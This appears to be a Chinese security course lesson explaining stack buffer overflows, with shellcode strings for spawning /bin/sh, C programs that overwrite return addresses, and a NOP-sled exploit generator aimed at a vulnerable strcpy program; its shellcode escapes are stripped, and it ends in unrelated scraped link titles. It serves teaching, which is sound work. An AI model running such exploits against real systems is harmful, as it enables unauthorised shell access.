在之前所讲述的内容中,都是我们在自己的程序中自行修改的;正常情况下,没有程序员会在自己的代码中这样写——那有没有办法攻击别人正常的程序呢?攻击者怎么样能够影响到不是自己的程序的返回地址呢?以及怎么样通过攻击别人的代码来获得shell呢?并且最好是root shell呢?

为了理解一下这个问题的难度,我们来归纳一下在之前获得shell的例子中,我们利用了哪些条件。首先,我们在程序中,写了一段调用生成shell的代码,这段代码直接和主程序一起被编译生成了可执行代码;其次,我们能够容易地获得函数调用中的返回地址,因为可以直接操作变量。

如果要攻击他人的程序,首先,需要有一段生成shell的可执行代码;其次,需要能够找到一个返回地址。

第一个问题,答案是shellcode。

第二个问题,答案是缓冲区溢出。

什么是shellcode呢?就是能够生成shell的code。就不细讲如何生成shellcode了。

先直接来看一些shellcode的例子。

以下代码在32系统运行。

 char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void hello(){printf("hello.n");exit(0);
}void main(int argc, char **p) {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;
}

值得注意的是,此时的shellcode是一段字符串,而且没有被声明为const,也即是可变的。这样的变量一般在分配时,相应的内存处会有不可执行保护。在编译时需要加上参数,取消栈保护。

以下代码在64位系统运行。

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 3;(*ret) = (unsigned long)shellcode;}

通过以上例子,可以看出shellcode的作用,就是一段可执行的代码。当返回地址指向shellcode的首地址的时候,shellcode获得执行。

https://www.zhihu.com/video/1102522760315613184

同时,我们对以下代码进行比较。

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 1 ;(*ret) = (unsigned long)shellcode;}

这段代码的执行结果是

想一想,为什么?

再看一下,这段代码在32位系统:

void main(int argc, char **p) {int *ret;char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";ret = (int *)&ret + 21;(*ret) = (int)shellcode;
}

运行结果如下:

https://www.zhihu.com/video/1102520181166817280

思考一下是什么原因呢?

在64位系统上,结果也类似。为了防御缓冲区溢出攻击,编译器进行了canary和防止栈运行等防御。

明确shellcode的功能之后,攻击者现在需要做的事情,就是将shellcode置于内存的某处,然后将返回地址指向shellcode。这一步骤,主要是通过缓冲区溢出实现的。


首先看下面一段代码。

void function(char *str){char buffer[16];strcpy(buffer,str);
}void main(){char large_string[256];int i;for(i=0;i<255;i++)large_string[i]='A';function(large_string);
}

这段程序中就存在 Buffer Overflow 的问题。之所以叫做缓冲区溢出,是因为function中的字符数组长度仅为16,而传递给 function 的字符串长度要比 buffer 大很多。并且function 没有经过任何长度校验,直接用 strcpy 将长字符串拷入 buffer。strcpy并不进行长度检查。在之前的分析中,我们知道字符串存储时是从低地址向高地址增长,因此超出buffer[16]的字符串会持续向上覆盖,也即溢出。结果是 buffer 后面的 250 字节的内容也被覆盖掉了,这其中自然也包括 前一个ebp(rbp)、 ret 地址 、large_string 地址。所以此时 function的返回地址变成了 0x41414141h,所以当function函数执行结束返回时,它将返回到 0x41414141h 地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报 Segmentation Violation。

之前讲过,因为overflow漏洞影响深远,所以操作系统和编译器中都对它进行了防范。在这个例子中可以看到,如果编译的时候没有取消栈保护,那么会被检测出来试图进行攻击。这个保护的原理是什么,我们过会儿再看,现在先来看看如果利用缓冲区溢出,来获得一个shell。

看这一份代码。【以下代码在64位系统上运行失败;在32位系统没问题。】

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";char large_string[256];void main() {char buffer[96];int i;unsigned long *long_ptr = (unsigned long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string;等待覆盖return address;这样,返回地址变为buffer首地址;下一个for循环,使得shellcode在strcpy的起始;使用strcpy,保证buffer首地址就是shellode的起始for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);
}

https://www.zhihu.com/video/1102531298475761664

类似的代码在64位系统上:

https://www.zhihu.com/video/1102540775484735488

在64位系统上失败的原因:从large_string到buffer的拷贝不成功。导致返回地址的值没有被修改。获得shell失败。


到目前为止,所有的攻击还是在同一份代码中发生的。

如果想对别人发起攻击,应该如何操作?

我们看一段简单的代码:

void main (int argc,char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);
}

攻击思路是传入一段代码,并且还要让main的返回地址指向我们传入的代码。因为传入的代码只能在buffer中,所以我们要能知道buffer的首地址是多少。在之前的例子中,我们将buffer的首地址复制了很多份放在large_string中,这里因为buffer是在别人的代码中,也不能直接操作,所以只好靠猜——然后将这个地址再拷贝很多次。

大概十年之前,对于所有程序来说堆栈的起始地址是一 样的,而且在拷贝 ShellCode 之前,堆栈中已经存在的栈帧一般来说并不多,长度 大致在一两百到几千字节的范围内。因此,我们可以通过猜测加试验的办法最终 找到 ShellCode 的入口地址。

现在,为了防御这种方式,加了栈起始地址随机化。如果没有关掉栈起始地址随机化保护,不同次运行同一个程序时,栈的起始位置都不一样。

unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}
void main() {printf("0x%xn", get_sp());
}

所以,猜测更加困难了。

这里为了演示,我们得把操作系统的栈起始地址随机化保护给关掉。

关掉之后,

有一个方法是将 ShellCode 放在 large_string 的中部,而前面则一律填充为 NOP 指令(NOP 指令是一个任何事都不做的指令,主要用于延时操作,几 乎所有 CPU 都支持 NOP 指令)。这样,只要我们猜的地址落在这个 NOP 指令串中, 那么程序就会一直执行直至执行到 ShellCode(如下图)。这样一来,我们猜中的概率就大多了(以前必须要猜中 ShellCode 的入口地址,现在只要猜中 NOP 指令串中的任何一个地址即可)。

 #include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.n");exit(0);} printf("0x%xn",get_sp());addr = get_sp() - offset;printf("Using address: 0x%xn", addr);ptr = buff;
//  addr = "bfffef90"; addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '0';//memcpy(buff,"EGG=",4);//putenv(buff);setenv("EGG",buff,1);system("/bin/bash");
}

运行结果如下【32位系统】:

https://www.zhihu.com/video/1102567120042352640

判断unsigned long long乘法溢出_信息安全课程17:缓冲区溢出2相关推荐

  1. 堆栈的缓冲区溢出进不了系统_一文理解缓冲区溢出

    1 引言 "缓冲区溢出"对现代操作系统与编译器来讲已经不是什么大问题,但是作为一个合格的 C/C++ 程序员,还是完全有必要了解它的整个细节. 计算机程序一般都会使用到一些内存,这 ...

  2. kali+php+缓冲区溢出,CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

    CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析 摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法. 假设读者:了解ARM指令集基础知识.了解栈溢出 ...

  3. c语言 指针溢出,[转载]C语言防止缓冲区溢出方法

    C语言使用直接的内存访问,缓冲区溢出是经常出现的安全问题. 下面将介绍常见的缓冲区溢出,及防止方法. 1.判断边界 例程序: void outstr(int a[10]) { for(i=0;a[i] ...

  4. 内存溢出_容易造成单片机内存溢出的几个陷阱

    [小宅按] 关于程序变量和内存分配,都是需要我们时刻关注的问题.我相信有不少人在这块犯过很多的错误,也可能说明我们基础不够扎实,编写程序的习惯也不够好. 总结一下关于程序的变量和内存方面的概念,虽然是 ...

  5. c++算术溢出_二进制安全之堆溢出(系列)——CTF环境配置

    [重要通知]知了堂禁卫实验室全新上线!! 这里有安全体系的学习资源. 最前沿的原创文章.最新的漏洞挖掘原创!! 本期是"二进制安全之堆溢出"系列第一期,主要介绍CTF环境配置.安装 ...

  6. 内存溢出_关于PermGen Space内存溢出解决方案

    内存溢出分为Heap Space和PermGen Space两种异常.正巧的是我这次就碰到了PermGen space异常,为了解决这个异常花了我 半天的时间,所以今天写这个方案就是做一种笔记. 刚开 ...

  7. python 堆栈溢出_内存 - 如何发生“堆栈溢出”,如何防止它?

    堆 在此上下文中,堆栈是在程序运行时放置数据的最后进先出缓冲区. 最后一次出来(LIFO)意味着你输入的最后一件事总是你要退回的第一件事 - 如果你在堆叠上推2个项目,'A'然后'B',那么你首先要弹 ...

  8. 导致溢出_邯郸一司机,溢出的“5毫克”导致A2被降级,老司机自吞“苦酒”

    酒后驾车宛如 "定时炸弹" 但就是有人偏要以身试法 下面这位司机 就为自己的行为付出了代价 案情回顾 1月6日晚上8时许,当民警巡查至大名府路与贵乡街路段处时,发现自东向西驶来的一 ...

  9. java 缓冲区溢出_缓冲区溢出详解

    1 缓冲区溢出原理 缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例.缓冲区可以是堆栈(自动变量).堆(动态内存)和静态数据区(全局或静态).在C/C++语言中,通常使用字符数组和mal ...

最新文章

  1. poj1740 A New Stone Game
  2. 什么插件格式化文档_推荐15款IntelliJ IDEA 神级插件
  3. 【已解决】ReferenceError: $ is not defined
  4. opencms内容管理入门指南pdf_企业微信管理员训练营回顾(三) | 企业微信高效协作入门指南...
  5. php mysql addslashes_PHP函数 mysql_real_escape_string 与 addslashes 的区别
  6. 多功能计算机使用说明,多功能分装机/多功能分装机
  7. 【论文解读】如何在只有词典的情况下提升NER落地效果
  8. iOS之内存管理(ARC)
  9. C# 中用 PadLeft、PadRight 补足位数
  10. 袖珍计算机英语手册,英语袖珍迷你系列__中考英语速记手册__刘国婷.pdf
  11. H无穷控制学习笔记——H无穷/H2控制
  12. TIBCO Rendezvous 概念
  13. CentOS系统下各文件夹的作用
  14. AVR单片机用progisp下载时报错Chip Enable Program Error
  15. 华为云语音识别:一句话识别API调用
  16. python忽略警告
  17. 什么是单模光纤和多模光纤的区别
  18. 算法——猴子分桃问题
  19. 卡西欧G-SHOCK 5146/5425使用说明书
  20. 数据结构与算法分析(十六)--- 如何设计更高效的字符串匹配算法?(BF + RK + KMP + BMH)

热门文章

  1. 15分钟内使用Twilio和Stormpath在Spring Boot中进行身份管理
  2. JavaFX技巧23:节省内存! 属性的阴影场
  3. javafx 使用_使用JavaFX AnimationTimer
  4. WildFly管理控制台已更新–请求反馈
  5. Spring整合基础
  6. 处理JUnit中异常的另一种方法:catch-exception
  7. JavaFX自定义控件– Nest Thermostat第2部分
  8. 探索Apache Camel Core –文件组件
  9. Java 8 Lambda演练
  10. 一些基于Java的AI框架:Encog,JavaML,Weka